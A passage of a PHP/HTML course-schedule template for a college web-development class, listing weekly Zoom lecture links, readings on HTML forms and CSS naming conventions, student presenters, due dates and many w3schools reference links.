href="https://www.w3schools.com/html/html_form_elements.asp">HTML Form Elements</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_form_input_types.asp">HTML Input Types</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_form_attributes.asp">HTML Input Attributes</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_form.asp">CSS Forms</a>.</li> </ol> </li> </ul> </li><!-- END Week 13 --> <!-- Week 14: Thursday 4/14 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/q8g7v7G9CmhIg3O8X3dmpK3vqi83ZAjege1KpFlj11YVJ4oEZyfMEbkez4gczd3T.QjBt0WxJCi6D5p0_?startTime=1649959318000','text'),array('https://minnstate.zoom.us/rec/share/q8g7v7G9CmhIg3O8X3dmpK3vqi83ZAjege1KpFlj11YVJ4oEZyfMEbkez4gczd3T.QjBt0WxJCi6D5p0_?startTime=1649964689000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/html/html_forms.asp">HTML Forms</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_form_elements.asp">HTML Form Elements</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_form_input_types.asp">HTML Input Types</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_form_attributes.asp">HTML Input Attributes</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_form.asp">CSS Forms</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li>If you have not done so, please complete <?=labLink(13,false)?></li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(12)?></li> <li><?=labLink(14,false)?></li> </ol> </li> </ul> </li><!-- END Week 14 --> <!-- Week 15: Thursday 4/21 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/xLSy4l-H3XlqLnecmA9ec-bxMxGLJqo2dl8WBzYS24lNTKOTe8-gvfM-d2eYg9w.4i7ON7R9tVg2svyL?startTime=1650564066000','text'),array('URL','text'),array('URL','text'))); ?> <!--<? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>.--> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li><b>Students present <?=labLink(14,false)?></b> <br>Presenters: <ol> <li>Mitchel Jorgenson</li> </ol> </li> <li>Discuss css class and id naming conventions: <ol> <li><a href="https://stackoverflow.com/questions/6028211/what-is-the-standard-naming-convention-for-html-css-ids-and-classes"></a>What is the standard naming convention for html/css ids and classes?</li> <li><a href="https://css-tricks.com/semantic-class-names/">What Makes For a Semantic Class Name?</a>.</li> <li><a href="https://newbedev.com/what-is-the-standard-naming-convention-for-html-css-ids-and-classes">What is the standard naming convention for html/css ids and classes?</a></li> <li><a href="https://www.hallme.com/blog/css-naming-conventions/">CSS Naming Conventions</a>.</li> <li><a href="https://www.py4u.net/discuss/977350">HTML naming conventions for ID, class and to include element type prefix?</a></li> <li><a href="https://en.bem.info/methodology/naming-convention/">BEM Naming convention</a>.</li> <li><a href="https://csswizardry.com/2011/09/when-using-ids-can-be-a-pain-in-the-class/">When using IDs can be a pain in the class...</a>.</li> </ol> </li> </ol> </li> <li>Please complete the <a href="/JimMartinson/CST1021/?Questionnaire">class questionnaire</a>.</li> <li>All assignments are due by Wednesday, 5/11/2022.</li> </ul> </li><!-- END Week 15 --> <!-- Week 16: Thursday 4/28 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/B0Bkw7_1MAUeA7nstjD1zalWX8b7o5npNHe1epktgFNJazclAbeXBZdiCoT4w8oH.GGy6gd8pT23WhHKn?startTime=1651168833000','text'),array('URL','text'),array('URL','text'))); ?> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li><b>Students present <?=labLink(14,false)?></b> <br>Presenters: <ol> <li>Devin Long</li> <li>Marc Schuth</li> <li>Jorge Sandoval</li> </ol> </li> </ol> </li> <li>If you have not done so, please complete the <a href="/JimMartinson/CST1021/?Questionnaire">class questionnaire</a>.</li> <li>All assignments are due by Wednesday, 5/11/2022.</li> </ul> </li><!-- END Week 16 --> <!-- Week 17: Thursday 5/05 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/wkBR5lTU6KP1mHus-xssDGjH_TnyrwaD3ooHGMEdGLT95Cses-JnjcnoPJ9pgaM4.38SOxY95YvVX_gS8?startTime=1651773671000','text'),array('URL','text'),array('URL','text'))); ?> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li><b>Students present <?=labLink(14,false)?></b> <br>Presenters: <ol> <li>David Weibel</li> </ol> </li> </ol> </li> <li>If did not present <?=labLink(14,false,'')?> to the class: <ol> <li>Make a Zoom recording demonstrating your website.</li> <li>Make the recording public.</li> <li>Add a link to the public recording on the first page of your web site.</li> <li>Submit or re-submit <?=labLink(14,false,'')?>.</li> </ol> </li> <li>If you have not done so, please complete the <a href="/JimMartinson/CST1021/?Questionnaire">class questionnaire</a>.</li> <li>All assignments are due by Wednesday, 5/11/2022.</li> </ul> <div class="hidden"><?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1,-1,10)?> <?=labLink(14)?></div> </li><!-- END Week 17 --> <!-- Week 18: Thursday 5/12 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0,'<span class="attention">Finals week.</span>')?><?=classWeekShowHideUL($class['startDate'],$week)?> <span class="attention nowrap">No class meetings this week.</span> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Wednesday 1:00pm-3:30pm --> <span class="bold">No class meeting.</span> </li> <li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li> <li>All assignments are due by Wednesday, May 11<sup>th</sup> 2022.</li> </ul> <li><span>More in-depth HTML5 information:</span> <ul class="collapsed" id="8"> <!-- HTML5 Tutorial --> <li><a href="https://www.w3schools.com/html/html_blocks.asp">HTML Block and Inline Element</a>.</li> <li><a href="https://www.w3schools.com/tags/att_class.asp">HTML The class Attribute</a>.</li> <li><a href="https://www.w3schools.com/html/html_id.asp">HTML The id Attribute</a>.</li> <li><a href="https://www.w3schools.com/html/html_iframe.asp">HTML Iframes</a>.</li> <li><a href="https://www.w3schools.com/html/html_scripts.asp">HTML JavaScript</a>.</li> <li><a href="https://www.w3schools.com/html/html_filepaths.asp">HTML File Paths</a>.</li> <li><a href="https://www.w3schools.com/html/html_layout.asp">HTML Layouts</a>.</li> <li><a href="https://www.w3schools.com/html/html_responsive.asp">HTML Responsive Web Design</a>.</li> <li><a href="https://www.w3schools.com/html/html_computercode_elements.asp">HTML Computer Code Elements</a>.</li> <li><a href="https://www.w3schools.com/html/html_entities.asp">HTML Entities</a>.</li> <li><a href="https://www.w3schools.com/html/html_symbols.asp">HTML Symbols</a>.</li> <li><a href="https://www.w3schools.com/html/html_charset.asp">HTML Encoding (Character Sets)</a>.</li> <li><a href="https://www.w3schools.com/html/html_urlencode.asp">HTML Uniform Resource Locators</a>.</li> <!-- HTML5 --> <li><a href="https://www.w3schools.com/html/html5_syntax.asp">HTML5 Style Guide and Coding Conventions</a>.</li> <li><a href="https://www.granneman.com/webdev/coding/formatting-and-indenting-your-html">Formatting & Indenting Your HTML</a>.</li> <!-- granneman --> <li><a href="https://www.cocoawithlove.com/blog/2016/04/01/neither-tabs-nor-spaces.html">Indent with tabs or spaces? I wish I didn't need to know</a>.</li> <!-- cocoawithlove --> <li><a href="https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/">Developers Who Use Spaces Make More Money Than Those Who Use Tabs</a>.</li> <!-- stackoverflow.blog --> <!-- HTML Graphics --> <li><a href="https://www.w3schools.com/html/html5_canvas.asp">HTML5 Canvas</a>.</li> <li><a href="https://www.w3schools.com/html/html5_svg.asp">HTML5 SVG</a>.</li> <!-- HTML Media --> <li><a href="https://www.w3schools.com/html/html_media.asp">HTML Multimedia</a>.</li> <li><a href="https://www.w3schools.com/html/html5_video.asp">HTML5 Video</a>.</li> <li><a href="https://www.w3schools.com/html/html5_audio.asp">HTML5 Audio</a>.</li> <li><a href="https://www.w3schools.com/html/html_object.asp">HTML Plug-ins</a>.</li> <li><a href="https://www.w3schools.com/html/html_youtube.asp">HTML YouTube Videos</a>.</li> <!-- HTML APIs --> <li><a href="https://www.w3schools.com/html/html5_geolocation.asp">HTML5 Geolocation</a>.</li> <li><a href="https://www.w3schools.com/html/html5_draganddrop.asp">HTML5 Drag and Drop</a>.</li> <li><a href="https://www.w3schools.com/html/html5_webstorage.asp">HTML5 Web Storage</a>.</li> <li><a href="https://www.w3schools.com/html/html5_webworkers.asp">HTML5 Web Workers</a>.</li> <li><a href="https://www.w3schools.com/html/html5_serversentevents.asp">HTML5 Server-Sent Events</a>.</li> </ul> </li> <li><span>More in-depth CSS information:</span> <ul class="collapsed" id="9"> <!-- CSS Tutorial --> <li><a href="https://www.w3schools.com/css/css_display_visibility.asp">CSS Layout - The display Property</a>.</li> <li><a href="https://www.w3schools.com/css/css_max-width.asp">CSS width and max-width</a>.</li> <li><a href="https://www.w3schools.com/css/css_positioning.asp">CSS Layout - The position Property</a>.</li> <li><a href="https://www.w3schools.com/css/css_overflow.asp">CSS Layout - Overflow</a>.</li> <li><a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li> <li><a href="https://www.w3schools.com/css/css_inline-block.asp">CSS Layout - display: inline-block</a>.</li> <li><a href="https://www.w3schools.com/css/css_align.asp">CSS Layout - Horizontal & Vertical Align</a>.</li> <li><a href="https://www.w3schools.com/css/css_image_transparency.asp">CSS Opacity / Transparency</a>.</li> <li><a href="https://www.w3schools.com/css/css_navbar.asp">CSS Navigation Bar</a>.</li> <li><a href="https://www.w3schools.com/css/css_dropdowns.asp">CSS Dropdowns</a>.</li> <li><a href="https://www.w3schools.com/css/css_image_gallery.asp">CSS Image Gallery</a>.</li> <li><a href="https://www.w3schools.com/css/css_counters.asp">CSS Counters</a>.</li> <li><a href="https://www.w3schools.com/css/css_website_layout.asp">CSS css_website_layout</a>.</li> <!-- CSS Advanced --> <li><a href="https://www.w3schools.com/css/css3_borders.asp">CSS Rounded Corners</a>.</li> <li><a href="https://www.w3schools.com/css/css3_border_images.asp">CSS Border Images</a>.</li> <li><a href="https://www.w3schools.com/css/css3_backgrounds.asp">CSS Multiple Backgrounds</a>.</li> <li><a href="https://www.w3schools.com/css/css3_gradients.asp">CSS Gradients</a>.</li> <li><a href="https://www.w3schools.com/css/css3_2dtransforms.asp">CSS 2D Transforms</a>.</li> <li><a href="https://www.w3schools.com/css/css3_3dtransforms.asp">CSS 3D Transforms</a>.</li> <li><a href="https://www.w3schools.com/css/css3_transitions.asp">CSS Transitions</a>.</li> <li><a href="https://www.w3schools.com/css/css3_animations.asp">CSS Animations</a>.</li> <li><a href="https://www.w3schools.com/css/css_tooltip.asp">CSS Tooltip</a>.</li> <li><a href="https://www.w3schools.com/css/css3_images.asp">CSS Styling Images</a>.</li> <li><a href="https://www.w3schools.com/css/css3_object-fit.asp">CSS The object-fit Property</a>.</li> <li><a href="https://www.w3schools.com/css/css3_buttons.asp">CSS Buttons</a>.</li> <li><a href="https://www.w3schools.com/css/css3_pagination.asp">CSS Pagination Examples</a>.</li> <li><a href="https://www.w3schools.com/css/css3_multiple_columns.asp">CSS Multiple Columns</a>.</li> <li><a href="https://www.w3schools.com/css/css3_user_interface.asp">CSS User Interface</a>.</li> <li><a href="https://www.w3schools.com/css/css3_variables.asp">CSS Variables</a>.</li> <li><a href="https://www.w3schools.com/css/css3_box-sizing.asp">CSS Box Sizing</a>.</li> <li><a href="https://www.w3schools.com/css/css3_flexbox.asp">CSS Flexbox</a>.</li> <!-- Media Queries --> <li><a href="https://www.w3schools.com/css/css3_mediaqueries.asp">CSS Media Queries</a>.</li> <li><a href="https://www.w3schools.com/css/css3_mediaqueries_ex.asp">CSS Media Queries - Examples</a>.</li> <!-- CSS Responsive --> <li><a href="https://www.w3schools.com/css/css_rwd_intro.asp">Responsive Web Design - Introduction</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_grid.asp">Responsive Web Design - Grid-View</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_mediaqueries.asp">Responsive Web Design - Media Queries</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_images.asp">Responsive Web Design - Images</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_videos.asp">Responsive Web Design - Videos</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_frameworks.asp">Responsive Web Design - Frameworks</a>.</li> <li><a href="https://www.w3schools.com/css/css_rwd_templates.asp">Responsive Web Design - Templates</a>.</li> <!-- CSS Grid --> <li><a href="https://www.w3schools.com/css/css_grid.asp">CSS Grid Layout Module</a>.</li> <li><a href="https://www.w3schools.com/css/css_grid_container.asp">CSS Grid Container</a>.</li> <li><a href="https://www.w3schools.com/css/css_grid_item.asp">CSS Grid Item</a>.</li> <!-- CSS References --> <li><a href="https://www.w3schools.com/cssref/css_functions.asp">CSS Functions Reference</a>.</li> <li><a href="https://www.w3schools.com/cssref/css_ref_aural.asp">CSS Aural Reference</a>.</li> <li><a href="https://www.w3schools.com/cssref/css_websafe_fonts.asp">CSS Web Safe Font Combinations</a>.</li> <li><a href="https://www.w3schools.com/cssref/css_animatable.asp">CSS Animatable</a>.</li> <!-- CSS Properties --> <li><a href="https://www.w3schools.com/cssref/pr_charset_rule.asp">CSS @charset Rule</a>.</li> <li><a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li> <li><a href="https://www.w3schools.com/cssref/pr_import_rule.asp">CSS @import Rule</a>.</li> <li><a href="https://www.w3schools.com/cssref/css3_pr_animation-keyframes.asp">CSS @keyframes Rule</a>.</li> <li><a href="https://www.w3schools.com/cssref/css3_pr_mediaquery.asp">CSS @media Rule</a>.</li> </ul> </li> </ul> </li><!-- END Week 18 --> </ol> </fieldset> <div style="visibility: hidden;"> <ol> </ol> </div> <? $LOCK_BELOW = $week; ?> <? /** / /**/ ?>